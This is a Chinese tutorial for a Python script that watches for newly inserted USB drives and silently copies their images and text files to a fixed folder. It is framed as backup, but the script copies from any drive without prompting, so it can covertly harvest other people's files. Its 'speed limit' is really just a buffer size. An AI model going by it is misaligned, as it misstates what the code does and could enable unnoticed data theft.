Python自动化脚本:实现USB插入即自动复制文件
本文介绍如何利用Python编写自动化脚本,实现USB驱动器插入时自动复制指定类型文件。通过psutil获取可移动磁盘列表,结合shutil进行文件拷贝,并支持速度限制与重复检测。脚本持续监控新插入设备,将图片及文本文件安全备份至目标路径,提升数据管理效率。
USB驱动器作为广泛使用的数据存储介质,在数据传输与备份场景中扮演着重要角色。
相比之下,手动执行文件复制操作往往效率较低,且容易因人为疏忽导致错误。
为此,我们可以借助Python编写自动化脚本,将这一过程程序化,从而显著提升操作效率并保障数据安全性。
准备工作
首先,需确保环境中已安装Python解释器,并导入以下核心库:os、shutil、time以及psutil。这些库分别负责文件系统操作、数据拷贝、时间控制及系统资源监测,共同支撑自动化功能的实现。
获取硬盘驱动器列表
该部分代码调用psutil库,旨在扫描并提取系统中所有可移动的磁盘驱动器(如常见的USB设备)的列表。
import psutil
def get_disk_drives():
disk_partitions = psutil.disk_partitions(all=False)
drives = [partition.device.upper() for partition in disk_partitions if partition.fstype != "" and "removable" in partition.opts]
return drives
文件拷贝功能
此段代码定义了一个核心函数,用于将指定格式的文件(包括.jpg、.png图片及.txt文本文件)从源USB驱动器批量拷贝至预设的目标文件夹。
同时,该功能在复制过程中引入了数据传输速度限制机制,以防止因瞬时大数据量传输导致系统过载或响应迟缓。
import os
import shutil
def copy_ppt_files(source_folder, destination_folder, speed_limit_kb):
for root, dirs, files in os.walk(source_folder):
for file in files:
if file.endswith((".jpg", ".png", ".txt")):
src_file = os.path.join(root, file)
dst_file = os.path.join(destination_folder, os.path.relpath(src_file, source_folder))
os.makedirs(os.path.dirname(dst_file), exist_ok=True)
with open(src_file, 'rb') as fsrc:
with open(dst_file, 'wb') as fdst:
shutil.copyfileobj(fsrc, fdst, length=speed_limit_kb * 1024)
检查新插入的USB驱动器
该函数负责周期性轮询,检测是否有新的USB驱动器插入系统,并在检测到新设备时,立即调用前述的文件拷贝函数,将特定类型的文件同步至指定的目标文件夹。
此外,程序通过维护一个“已知驱动器”列表来记录已处理过的设备,从而有效避免对同一驱动器的重复拷贝操作。
import time
def check_for_new_drive(speed_limit_kb=10240):
drives = get_disk_drives()
new_drives = [drive for drive in drives if drive not in known_drives]
for new_drive in new_drives:
known_drives.append(new_drive)
print(f"New drive detected: {new_drive}")
time.sleep(3) # 等待3秒后再开始拷贝
copy_ppt_files(new_drive, destination_drive, speed_limit_kb)
主程序
主程序入口负责初始化“已知驱动器”列表及目标存储路径。随后,通过循环调用check_for_new_drive函数,持续监控系统中新插入的USB驱动器状态。
if __name__ == "__main__":
known_drives = []
excluded_drives = [drive + ':' for drive in "ABCDEFGHIJKLMNOPQRSTUVWXYZ"]
destination_drive = "H://u盘" # 目标路径
if not os.path.exists(destination_drive):
os.makedirs(destination_drive)
while True:
check_for_new_drive()
time.sleep(60) # 每隔60秒检查一次至此,关于使用Python实现USB自动复制文件的教程已介绍完毕。如需了解更多Python USB文件复制相关内容,欢迎查阅本站往期文章或继续浏览后续章节,感谢大家的支持!
本站声明
本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。













